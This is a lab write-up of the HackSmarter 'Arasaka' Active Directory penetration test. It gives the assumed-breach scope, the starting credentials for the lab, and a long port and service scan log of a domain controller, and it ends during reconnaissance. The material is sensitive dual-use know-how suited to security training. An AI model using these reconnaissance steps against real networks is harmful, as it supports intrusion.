> For the complete documentation index, see [llms.txt](https://truck-2-tech-security.gitbook.io/writeups-and-labs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://truck-2-tech-security.gitbook.io/writeups-and-labs/security-research/hacksmarter-labs/arasaka.md). # Arasaka [Testing Methodology for Arasaka](https://www.notion.so/Testing-Methodology-for-Arasaka-2d77d03f6eb78088b678fc8e3ec71b9c?pvs=21) ## Phase 1 Planning and Recon ### 1.1 Pre-Engagement #### Objective and Scope You are a member of the Hack Smarter Red Team. This penetration test will operate under an assumed breach scenario, starting with valid credentials for a standard domain user, `faraday`. The primary goal is to simulate a realistic attack, identifying and exploiting vulnerabilities to escalate privileges from a standard user to a Domain Administrator. #### Starting Credentials ```bash faraday:hacksmarter123 ``` *** ### 1.2 Passive Information Gathering Since this is a machine, there isn’t any publicly available documentation for this company. #### IP: ```bash 10.1.217.131 ``` #### Domain Name: ```bash arasaka.hsm dc01.arasaka.hsm ``` > This is initial only until active information gathering begins It is understood that this is most likely a single DC network topology *** ### 1.3 Active Information Gathering #### Network Host Discovery {% code overflow="wrap" expandable="true" %} ```bash ┌──(kali㉿kali)-[~/hacksmarter/arasaka] └─$ rustscan -a 10.1.217.131 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \\ | `| | | .-. \\| {_} |.-._} } | | .-._} }\\ }/ /\\ \\| |\\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : : : : -------------------------------------- Port scanning: Making networking exciting since... whenever. [~] The config file is expected to be at "/home/kali/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 10.1.217.131:53 Open 10.1.217.131:88 Open 10.1.217.131:139 Open 10.1.217.131:135 Open 10.1.217.131:389 Open 10.1.217.131:445 Open 10.1.217.131:464 Open 10.1.217.131:593 Open 10.1.217.131:636 Open 10.1.217.131:3269 Open 10.1.217.131:3268 Open 10.1.217.131:3389 Open 10.1.217.131:5357 Open 10.1.217.131:5985 Open 10.1.217.131:9389 Open 10.1.217.131:49664 Open 10.1.217.131:49668 Open 10.1.217.131:49683 Open 10.1.217.131:49684 Open 10.1.217.131:52730 Open 10.1.217.131:52791 Open 10.1.217.131:52805 Open 10.1.217.131:52818 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 10.1.217.131 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.98 ( ) at 2025-12-28 10:13 -0600 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 10:13 Completed NSE at 10:13, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 10:13 Completed NSE at 10:13, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 10:13 Completed NSE at 10:13, 0.00s elapsed Initiating Ping Scan at 10:13 Scanning 10.1.217.131 [4 ports] Completed Ping Scan at 10:13, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:13 Completed Parallel DNS resolution of 1 host. at 10:13, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 10:13 Scanning 10.1.217.131 [23 ports] Discovered open port 445/tcp on 10.1.217.131 Discovered open port 3389/tcp on 10.1.217.131 Discovered open port 135/tcp on 10.1.217.131 Discovered open port 139/tcp on 10.1.217.131 Discovered open port 53/tcp on 10.1.217.131 Discovered open port 5985/tcp on 10.1.217.131 Discovered open port 464/tcp on 10.1.217.131 Discovered open port 5357/tcp on 10.1.217.131 Discovered open port 52791/tcp on 10.1.217.131 Discovered open port 593/tcp on 10.1.217.131 Discovered open port 52805/tcp on 10.1.217.131 Discovered open port 636/tcp on 10.1.217.131 Discovered open port 49684/tcp on 10.1.217.131 Discovered open port 49668/tcp on 10.1.217.131 Discovered open port 3268/tcp on 10.1.217.131 Discovered open port 3269/tcp on 10.1.217.131 Discovered open port 9389/tcp on 10.1.217.131 Discovered open port 49683/tcp on 10.1.217.131 Discovered open port 389/tcp on 10.1.217.131 Discovered open port 49664/tcp on 10.1.217.131 Discovered open port 52730/tcp on 10.1.217.131 Discovered open port 52818/tcp on 10.1.217.131 Discovered open port 88/tcp on 10.1.217.131 Completed SYN Stealth Scan at 10:13, 0.10s elapsed (23 total ports) Initiating Service scan at 10:13 Scanning 23 services on 10.1.217.131 Completed Service scan at 10:14, 60.27s elapsed (23 services on 1 host) Initiating OS detection (try #1) against 10.1.217.131 Retrying OS detection (try #2) against 10.1.217.131 Initiating Traceroute at 10:14 Completed Traceroute at 10:14, 3.03s elapsed Initiating Parallel DNS resolution of 2 hosts. at 10:14 Completed Parallel DNS resolution of 2 hosts. at 10:14, 1.00s elapsed DNS resolution of 2 IPs took 1.00s. Mode: Async [#: 1, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0] NSE: Script scanning 10.1.217.131. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 10:14 NSE Timing: About 99.97% done; ETC: 10:14 (0:00:00 remaining) Completed NSE at 10:15, 40.49s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 10:15 Completed NSE at 10:15, 1.64s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 10:15 Completed NSE at 10:15, 0.00s elapsed Nmap scan report for 10.1.217.131 Host is up, received echo-reply ttl 126 (0.037s latency). Scanned at 2025-12-28 10:13:20 CST for 111s PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 126 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2025-12-28 16:13:26Z) 135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.hacksmarter.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.hacksmarter.local | Issuer: commonName=hacksmarter-DC01-CA/domainComponent=hacksmarter | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-21T15:35:32 | Not valid after: 2026-09-21T15:35:32 | MD5: fae9 1340 b0a8 16fc 0420 5560 a2c9 6fed | SHA-1: affe d211 3720 65b4 1ee7 d8da 1a58 6825 5903 d150 | SHA-256: f90f 862f 3c3e 8a53 9e9c 35b8 cfa3 a75a 9121 4ad0 0e43 d847 2d6f 6faf 9817 a749 | -----BEGIN CERTIFICATE----- | MIIGWjCCBUKgAwIBAgITaQAAAAKagDtAHp3yxQAAAAAAAjANBgkqhkiG9w0BAQsF | ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGzAZBgoJkiaJk/IsZAEZFgtoYWNr | c21hcnRlcjEcMBoGA1UEAxMTaGFja3NtYXJ0ZXItREMwMS1DQTAeFw0yNTA5MjEx | NTM1MzJaFw0yNjA5MjExNTM1MzJaMCExHzAdBgNVBAMTFkRDMDEuaGFja3NtYXJ0 | ZXIubG9jYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDqDW/SJXAz | Ddx68GcSIlBSBdvsZHyWeOYnEQhJjNRF3q9Pyxwp4t4ZeZK73nUUHqP1aoBVtEqO | OUst+2/FvdDngsk0c49Q5kINx+Yn0HK19YiXuWKO7ETECJT6NwEkCtGtTDDakZfb | FLNxouqO8wdcEJoWs08LQ/XOYsCwTXzgW27H+tfoeQJorpJNAVSAVLkVRz/gFZPG | 1sCAwSNp71M59lbd9lIfB35J9277o7nlWhL1IIIblta03ZBqOCwdkS1VAVQq79Ez | 4QLo6Qr5+KWoez8o0JfUgSD4FVBUijCb0ykG4R6SUY9xhyJ/9+99+qMr91h95lcf | Wij3bwoPoPexAgMBAAGjggNYMIIDVDAvBgkrBgEEAYI3FAIEIh4gAEQAbwBtAGEA | aQBuAEMAbwBuAHQAcgBvAGwAbABlAHIwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsG | AQUFBwMBMA4GA1UdDwEB/wQEAwIFoDB4BgkqhkiG9w0BCQ8EazBpMA4GCCqGSIb3 | DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwCwYJYIZIAWUDBAEqMAsGCWCGSAFlAwQB | LTALBglghkgBZQMEAQIwCwYJYIZIAWUDBAEFMAcGBSsOAwIHMAoGCCqGSIb3DQMH | MB0GA1UdDgQWBBQjNx2E47Wj0bOIuLKgxvuAi3NOyDAfBgNVHSMEGDAWgBRyXthk | ONN3zJPSEEp+rHeXhgFBMTCB1AYDVR0fBIHMMIHJMIHGoIHDoIHAhoG9bGRhcDov | Ly9DTj1oYWNrc21hcnRlci1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1Ymxp | YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s | REM9aGFja3NtYXJ0ZXIsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz | dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHLBggrBgEF | BQcBAQSBvjCBuzCBuAYIKwYBBQUHMAKGgatsZGFwOi8vL0NOPWhhY2tzbWFydGVy | LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl | cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGFja3NtYXJ0ZXIsREM9bG9jYWw/ | Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRo | b3JpdHkwQgYDVR0RBDswOaAfBgkrBgEEAYI3GQGgEgQQPs7PEBOOh0WTDf6YzjqV | BYIWREMwMS5oYWNrc21hcnRlci5sb2NhbDBPBgkrBgEEAYI3GQIEQjBAoD4GCisG | AQQBgjcZAgGgMAQuUy0xLTUtMjEtMzE1NDQxMzQ3MC0zMzQwNzM3MDI2LTI3NDg3 | MjU3OTktMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAiiYzJgWuS8DqZxCorudnGaA0 | p/Gh7qIeLCqjQChn/aq5C243ScVXbFTzu7IqMofJ/4J0mcX34p0PpeQIeaWokR1q | TC7HqzkRrr9X4p4DptmRovcIbWN8kmbZ9LvQXP5QmjGDD47Oowj7FkBjQ1aVwBhi | bMEe65ZITORVV5MDPtF+uD6NkMPhk7UxH2r521CuXJAqE+qKdayWxsRsZ94BCRw0 | OWk1T1jtHX1knkEBOv90Kfg5M/VjRgsd4Ut/H64w74ivOliQKlCAIjNdw36tM/T5 | YMVaKwjxTW7/x6NoHlWFB69E0C7CpKgkpcE494hH/Gga5/5Jzxm3x1+KuSjeiA== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 445/tcp open microsoft-ds? syn-ack ttl 126 464/tcp open kpasswd5? syn-ack ttl 126 593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.hacksmarter.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.hacksmarter.local | Issuer: commonName=hacksmarter-DC01-CA/domainComponent=hacksmarter | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-21T15:35:32 | Not valid after: 2026-09-21T15:35:32 | MD5: fae9 1340 b0a8 16fc 0420 5560 a2c9 6fed | SHA-1: affe d211 3720 65b4 1ee7 d8da 1a58 6825 5903 d150 | SHA-256: f90f 862f 3c3e 8a53 9e9c 35b8 cfa3 a75a 9121 4ad0 0e43 d847 2d6f 6faf 9817 a749 | -----BEGIN CERTIFICATE----- | MIIGWjCCBUKgAwIBAgITaQAAAAKagDtAHp3yxQAAAAAAAjANBgkqhkiG9w0BAQsF | ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGzAZBgoJkiaJk/IsZAEZFgtoYWNr | c21hcnRlcjEcMBoGA1UEAxMTaGFja3NtYXJ0ZXItREMwMS1DQTAeFw0yNTA5MjEx | NTM1MzJaFw0yNjA5MjExNTM1MzJaMCExHzAdBgNVBAMTFkRDMDEuaGFja3NtYXJ0 | ZXIubG9jYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDqDW/SJXAz | Ddx68GcSIlBSBdvsZHyWeOYnEQhJjNRF3q9Pyxwp4t4ZeZK73nUUHqP1aoBVtEqO | OUst+2/FvdDngsk0c49Q5kINx+Yn0HK19YiXuWKO7ETECJT6NwEkCtGtTDDakZfb | FLNxouqO8wdcEJoWs08LQ/XOYsCwTXzgW27H+tfoeQJorpJNAVSAVLkVRz/gFZPG | 1sCAwSNp71M59lbd9lIfB35J9277o7nlWhL1IIIblta03ZBqOCwdkS1VAVQq79Ez | 4QLo6Qr5+KWoez8o0JfUgSD4FVBUijCb0ykG4R6SUY9xhyJ/9+99+qMr91h95lcf | Wij3bwoPoPexAgMBAAGjggNYMIIDVDAvBgkrBgEEAYI3FAIEIh4gAEQAbwBtAGEA | aQBuAEMAbwBuAHQAcgBvAGwAbABlAHIwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsG | AQUFBwMBMA4GA1UdDwEB/wQEAwIFoDB4BgkqhkiG9w0BCQ8EazBpMA4GCCqGSIb3 | DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwCwYJYIZIAWUDBAEqMAsGCWCGSAFlAwQB | LTALBglghkgBZQMEAQIwCwYJYIZIAWUDBAEFMAcGBSsOAwIHMAoGCCqGSIb3DQMH | MB0GA1UdDgQWBBQjNx2E47Wj0bOIuLKgxvuAi3NOyDAfBgNVHSMEGDAWgBRyXthk | ONN3zJPSEEp+rHeXhgFBMTCB1AYDVR0fBIHMMIHJMIHGoIHDoIHAhoG9bGRhcDov | Ly9DTj1oYWNrc21hcnRlci1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1Ymxp | YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s | REM9aGFja3NtYXJ0ZXIsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz | dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHLBggrBgEF | BQcBAQSBvjCBuzCBuAYIKwYBBQUHMAKGgatsZGFwOi8vL0NOPWhhY2tzbWFydGVy | LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl | cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGFja3NtYXJ0ZXIsREM9bG9jYWw/ | Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRo | b3JpdHkwQgYDVR0RBDswOaAfBgkrBgEEAYI3GQGgEgQQPs7PEBOOh0WTDf6YzjqV | BYIWREMwMS5oYWNrc21hcnRlci5sb2NhbDBPBgkrBgEEAYI3GQIEQjBAoD4GCisG | AQQBgjcZAgGgMAQuUy0xLTUtMjEtMzE1NDQxMzQ3MC0zMzQwNzM3MDI2LTI3NDg3 | MjU3OTktMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAiiYzJgWuS8DqZxCorudnGaA0 | p/Gh7qIeLCqjQChn/aq5C243ScVXbFTzu7IqMofJ/4J0mcX34p0PpeQIeaWokR1q | TC7HqzkRrr9X4p4DptmRovcIbWN8kmbZ9LvQXP5QmjGDD47Oowj7FkBjQ1aVwBhi | bMEe65ZITORVV5MDPtF+uD6NkMPhk7UxH2r521CuXJAqE+qKdayWxsRsZ94BCRw0 | OWk1T1jtHX1knkEBOv90Kfg5M/VjRgsd4Ut/H64w74ivOliQKlCAIjNdw36tM/T5 | YMVaKwjxTW7/x6NoHlWFB69E0C7CpKgkpcE494hH/Gga5/5Jzxm3x1+KuSjeiA== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.hacksmarter.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.hacksmarter.local | Issuer: commonName=hacksmarter-DC01-CA/domainComponent=hacksmarter | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-21T15:35:32 | Not valid after: 2026-09-21T15:35:32 | MD5: fae9 1340 b0a8 16fc 0420 5560 a2c9 6fed | SHA-1: affe d211 3720 65b4 1ee7 d8da 1a58 6825 5903 d150 | SHA-256: f90f 862f 3c3e 8a53 9e9c 35b8 cfa3 a75a 9121 4ad0 0e43 d847 2d6f 6faf 9817 a749 | -----BEGIN CERTIFICATE----- | MIIGWjCCBUKgAwIBAgITaQAAAAKagDtAHp3yxQAAAAAAAjANBgkqhkiG9w0BAQsF | ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGzAZBgoJkiaJk/IsZAEZFgtoYWNr | c21hcnRlcjEcMBoGA1UEAxMTaGFja3NtYXJ0ZXItREMwMS1DQTAeFw0yNTA5MjEx | NTM1MzJaFw0yNjA5MjExNTM1MzJaMCExHzAdBgNVBAMTFkRDMDEuaGFja3NtYXJ0 | ZXIubG9jYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDqDW/SJXAz | Ddx68GcSIlBSBdvsZHyWeOYnEQhJjNRF3q9Pyxwp4t4ZeZK73nUUHqP1aoBVtEqO | OUst+2/FvdDngsk0c49Q5kINx+Yn0HK19YiXuWKO7ETECJT6NwEkCtGtTDDakZfb | FLNxouqO8wdcEJoWs08LQ/XOYsCwTXzgW27H+tfoeQJorpJNAVSAVLkVRz/gFZPG | 1sCAwSNp71M59lbd9lIfB35J9277o7nlWhL1IIIblta03ZBqOCwdkS1VAVQq79Ez | 4QLo6Qr5+KWoez8o0JfUgSD4FVBUijCb0ykG4R6SUY9xhyJ/9+99+qMr91h95lcf | Wij3bwoPoPexAgMBAAGjggNYMIIDVDAvBgkrBgEEAYI3FAIEIh4gAEQAbwBtAGEA | aQBuAEMAbwBuAHQAcgBvAGwAbABlAHIwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsG | AQUFBwMBMA4GA1UdDwEB/wQEAwIFoDB4BgkqhkiG9w0BCQ8EazBpMA4GCCqGSIb3 | DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwCwYJYIZIAWUDBAEqMAsGCWCGSAFlAwQB | LTALBglghkgBZQMEAQIwCwYJYIZIAWUDBAEFMAcGBSsOAwIHMAoGCCqGSIb3DQMH | MB0GA1UdDgQWBBQjNx2E47Wj0bOIuLKgxvuAi3NOyDAfBgNVHSMEGDAWgBRyXthk | ONN3zJPSEEp+rHeXhgFBMTCB1AYDVR0fBIHMMIHJMIHGoIHDoIHAhoG9bGRhcDov | Ly9DTj1oYWNrc21hcnRlci1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1Ymxp | YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s | REM9aGFja3NtYXJ0ZXIsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz | dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHLBggrBgEF | BQcBAQSBvjCBuzCBuAYIKwYBBQUHMAKGgatsZGFwOi8vL0NOPWhhY2tzbWFydGVy | LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl | cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGFja3NtYXJ0ZXIsREM9bG9jYWw/ | Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRo | b3JpdHkwQgYDVR0RBDswOaAfBgkrBgEEAYI3GQGgEgQQPs7PEBOOh0WTDf6YzjqV | BYIWREMwMS5oYWNrc21hcnRlci5sb2NhbDBPBgkrBgEEAYI3GQIEQjBAoD4GCisG | AQQBgjcZAgGgMAQuUy0xLTUtMjEtMzE1NDQxMzQ3MC0zMzQwNzM3MDI2LTI3NDg3 | MjU3OTktMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAiiYzJgWuS8DqZxCorudnGaA0 | p/Gh7qIeLCqjQChn/aq5C243ScVXbFTzu7IqMofJ/4J0mcX34p0PpeQIeaWokR1q | TC7HqzkRrr9X4p4DptmRovcIbWN8kmbZ9LvQXP5QmjGDD47Oowj7FkBjQ1aVwBhi | bMEe65ZITORVV5MDPtF+uD6NkMPhk7UxH2r521CuXJAqE+qKdayWxsRsZ94BCRw0 | OWk1T1jtHX1knkEBOv90Kfg5M/VjRgsd4Ut/H64w74ivOliQKlCAIjNdw36tM/T5 | YMVaKwjxTW7/x6NoHlWFB69E0C7CpKgkpcE494hH/Gga5/5Jzxm3x1+KuSjeiA== |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 3269/tcp open ssl/ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hacksmarter.local, Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=DC01.hacksmarter.local | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:DC01.hacksmarter.local | Issuer: commonName=hacksmarter-DC01-CA/domainComponent=hacksmarter | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-21T15:35:32 | Not valid after: 2026-09-21T15:35:32 | MD5: fae9 1340 b0a8 16fc 0420 5560 a2c9 6fed | SHA-1: affe d211 3720 65b4 1ee7 d8da 1a58 6825 5903 d150 | SHA-256: f90f 862f 3c3e 8a53 9e9c 35b8 cfa3 a75a 9121 4ad0 0e43 d847 2d6f 6faf 9817 a749 | -----BEGIN CERTIFICATE----- | MIIGWjCCBUKgAwIBAgITaQAAAAKagDtAHp3yxQAAAAAAAjANBgkqhkiG9w0BAQsF | ADBSMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxGzAZBgoJkiaJk/IsZAEZFgtoYWNr | c21hcnRlcjEcMBoGA1UEAxMTaGFja3NtYXJ0ZXItREMwMS1DQTAeFw0yNTA5MjEx | NTM1MzJaFw0yNjA5MjExNTM1MzJaMCExHzAdBgNVBAMTFkRDMDEuaGFja3NtYXJ0 | ZXIubG9jYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDqDW/SJXAz | Ddx68GcSIlBSBdvsZHyWeOYnEQhJjNRF3q9Pyxwp4t4ZeZK73nUUHqP1aoBVtEqO | OUst+2/FvdDngsk0c49Q5kINx+Yn0HK19YiXuWKO7ETECJT6NwEkCtGtTDDakZfb | FLNxouqO8wdcEJoWs08LQ/XOYsCwTXzgW27H+tfoeQJorpJNAVSAVLkVRz/gFZPG | 1sCAwSNp71M59lbd9lIfB35J9277o7nlWhL1IIIblta03ZBqOCwdkS1VAVQq79Ez | 4QLo6Qr5+KWoez8o0JfUgSD4FVBUijCb0ykG4R6SUY9xhyJ/9+99+qMr91h95lcf | Wij3bwoPoPexAgMBAAGjggNYMIIDVDAvBgkrBgEEAYI3FAIEIh4gAEQAbwBtAGEA | aQBuAEMAbwBuAHQAcgBvAGwAbABlAHIwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsG | AQUFBwMBMA4GA1UdDwEB/wQEAwIFoDB4BgkqhkiG9w0BCQ8EazBpMA4GCCqGSIb3 | DQMCAgIAgDAOBggqhkiG9w0DBAICAIAwCwYJYIZIAWUDBAEqMAsGCWCGSAFlAwQB | LTALBglghkgBZQMEAQIwCwYJYIZIAWUDBAEFMAcGBSsOAwIHMAoGCCqGSIb3DQMH | MB0GA1UdDgQWBBQjNx2E47Wj0bOIuLKgxvuAi3NOyDAfBgNVHSMEGDAWgBRyXthk | ONN3zJPSEEp+rHeXhgFBMTCB1AYDVR0fBIHMMIHJMIHGoIHDoIHAhoG9bGRhcDov | Ly9DTj1oYWNrc21hcnRlci1EQzAxLUNBLENOPURDMDEsQ049Q0RQLENOPVB1Ymxp | YyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24s | REM9aGFja3NtYXJ0ZXIsREM9bG9jYWw/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlz | dD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIHLBggrBgEF | BQcBAQSBvjCBuzCBuAYIKwYBBQUHMAKGgatsZGFwOi8vL0NOPWhhY2tzbWFydGVy | LURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNl | cnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9aGFja3NtYXJ0ZXIsREM9bG9jYWw/ | Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRo | b3JpdHkwQgYDVR0RBDswOaAfBgkrBgEEAYI3GQGgEgQQPs7PEBOOh0WTDf6YzjqV | BYIWREMwMS5oYWNrc21hcnRlci5sb2NhbDBPBgkrBgEEAYI3GQIEQjBAoD4GCisG | AQQBgjcZAgGgMAQuUy0xLTUtMjEtMzE1NDQxMzQ3MC0zMzQwNzM3MDI2LTI3NDg3 | MjU3OTktMTAwMDANBgkqhkiG9w0BAQsFAAOCAQEAiiYzJgWuS8DqZxCorudnGaA0 | p/Gh7qIeLCqjQChn/aq5C243ScVXbFTzu7IqMofJ/4J0mcX34p0PpeQIeaWokR1q | TC7HqzkRrr9X4p4DptmRovcIbWN8kmbZ9LvQXP5QmjGDD47Oowj7FkBjQ1aVwBhi | bMEe65ZITORVV5MDPtF+uD6NkMPhk7UxH2r521CuXJAqE+qKdayWxsRsZ94BCRw0 | OWk1T1jtHX1knkEBOv90Kfg5M/VjRgsd4Ut/H64w74ivOliQKlCAIjNdw36tM/T5 | YMVaKwjxTW7/x6NoHlWFB69E0C7CpKgkpcE494hH/Gga5/5Jzxm3x1+KuSjeiA== |_-----END CERTIFICATE----- 3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services |_ssl-date: 2025-12-28T16:15:09+00:00; 0s from scanner time. | rdp-ntlm-info: | Target_Name: HACKSMARTER | NetBIOS_Domain_Name: HACKSMARTER | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: hacksmarter.local | DNS_Computer_Name: DC01.hacksmarter.local | Product_Version: 10.0.20348 |_ System_Time: 2025-12-28T16:14:29+00:00 | ssl-cert: Subject: commonName=DC01.hacksmarter.local | Issuer: commonName=DC01.hacksmarter.local | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2025-09-20T02:51:46 | Not valid after: 2026-03-22T02:51:46 | MD5: c15b e7bf 300c 7994 c7c0 c1a5 2fcd 928c | SHA-1: 97ac c4b4 fb84 3417 e8fb e9b1 a5ae 4357 bb1f 12e9 | SHA-256: 347c 5967 9860 2db4 85ba 4f36 c5b3 5710 e8a2 a14d f362 6578 f8c2 3f1d 21e1 b00c | -----BEGIN CERTIFICATE----- | MIIC8DCCAdigAwIBAgIQN1NTSOO69Y5K973diAX2ITANBgkqhkiG9w0BAQsFADAh | MR8wHQYDVQQDExZEQzAxLmhhY2tzbWFydGVyLmxvY2FsMB4XDTI1MDkyMDAyNTE0 | NloXDTI2MDMyMjAyNTE0NlowITEfMB0GA1UEAxMWREMwMS5oYWNrc21hcnRlci5s | b2NhbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALcO/no+r6u9RWZv | dKtmcvdUyPHST3C9uBPDm7vtdNuWXpWe4TGtDH2uFGq+m3aCy4qWrp74RkGSaYml | 03IgqSBgo4EK+636edSS8yavRyJINTtJBRstbWh45U7Li00KRdng2TQG5tWBq97r | lMnN2gMSJsOX1UgaDnf09pcsQn/6cDzHeWkPf64BjOYd2jHxul+0HWU03i4KLtNo | gpVENdAPxMKqPIQzZjKdoXu9zrhHRo6ayA3FBtF/UlOJp9ul+bMcv4V3morc4Kwi | Yyg1e4NBIikUteIxYjfVXZHdZnJr16Oe0U1QxR5fwZbhAX9fJ44ORxIzItcjQmJZ | yyV89VkCAwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQw | MA0GCSqGSIb3DQEBCwUAA4IBAQCLf577kCMAmhyYLnbPBku9hgjRnaifcXM9Ydg9 | 4bdopKAMMmH0fo4Ot0Ito0J91151Ikdv42gQM7UM2nGuwSFFXvnDDuTqiRPC70e3 | Qrnxd4A2mEemsNGdpceiJQ2jZCeX6Qn7SZD0kV/aSXP2olGBzUTUqghlWN8wAnQb | 